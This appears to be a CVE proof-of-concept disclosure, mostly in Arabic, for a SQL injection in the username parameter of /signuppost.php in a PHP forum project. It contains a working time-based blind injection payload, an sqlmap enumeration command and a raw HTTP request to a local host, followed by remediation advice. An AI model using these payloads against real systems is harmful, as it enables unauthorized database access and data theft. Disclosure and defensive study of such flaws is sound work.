
CVE-poc
CVE-poc
حقن SQL
تم تحديد ثغرة حقن SQL في ملف /signuppost.php في مشروع “Technical Forum Using PHP Source Code”. تنبع الثغرة من حقيقة أن المهاجم يمكنه حقن تعليمات برمجية خبيثة عبر معامل اسم المستخدم لتسجيل الدخول واستخدام هذا المعامل مباشرة في استعلام SQL دون تحقق. وهذا يسمح للمهاجم بتزوير قيم الإدخال للتلاعب باستعلامات SQL وتنفيذ إجراءات غير مصرح بها.
يمكن للمهاجم استغلال هذه الثغرة في حقن SQL للحصول على وصول غير مصرح به إلى قاعدة البيانات، أو الكشف عن بيانات حساسة، أو العبث بالبيانات، أو السيطرة الكاملة على النظام، أو حتى تعطيل الخدمات، مما يشكل تهديدًا خطيرًا لأمن النظام واستمرارية الأعمال.
اسم الثغرة: معامل اسم المستخدم
Payload
Parameter: Username (POST)
Type: Time Blind Injection Time Blind Injection
Title: Time Blind Injection Time Blind Injection
Payload: username=admin' AND (SELECT 9335 FROM (SELECT(SLEEP(5)))NwOL) AND 'SGvn' = 'SGvn'
Screenshot of the specific information obtained when testing and running the sqlmap utility

//sqlmap
python sqlmap.py -r url.txt --level 1 --risk 1 --current-db --current-user --is-dba
poc
POST /signuppost.php HTTP/1.1
Host: 127.0.0.1:8083
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
*/*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 136
Origin: http://127.0.0.1:8083
Connection: keep-alive
Referer: http://127.0.0.1:8083/signup.php
Cookie: PHPSESSID=ln2b6eftt76aon56uvppiurao3
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
name=123&gender=male&email=13849221%40qq.com&contact=123123&username=admii&password=admin%40123&password_check=admin%40123&submit=SignUp
استخدام الاستعلامات المعدة مسبقًا وربط المعاملات تمنع الاستعلامات المعدة مسبقًا حقن SQL من خلال فصل كود SQL عن بيانات إدخال المستخدم. عند استخدام الاستعلامات المعدة مسبقًا، يتم التعامل مع القيم التي يدخلها المستخدم كبيانات خالصة ولا يتم تفسيرها على أنها كود SQL.
التحقق من صحة الإدخال وتنقيته تحقق بدقة من بيانات إدخال المستخدم وقم بتصفيتها لضمان مطابقتها للتنسيق المتوقع.
تقليل صلاحيات مستخدم قاعدة البيانات تأكد من أن الحسابات المستخدمة للاتصال بقاعدة البيانات لديها الحد الأدنى من الصلاحيات الضرورية. تجنب استخدام الحسابات ذات الصلاحيات الأعلى (مثل "root" أو "admin") للعمليات اليومية.
إجراء تدقيقات أمنية منتظمة قم بإجراء تدقيقات أمنية منتظمة للكود والنظام لتحديد وإصلاح الثغرات الأمنية المحتملة في الوقت المناسب.
من خلال اتباع هذه التوصيات، يمكنك تحسين أمان تطبيقاتك بشكل كبير وتقليل المخاطر المرتبطة بثغرات حقن SQL.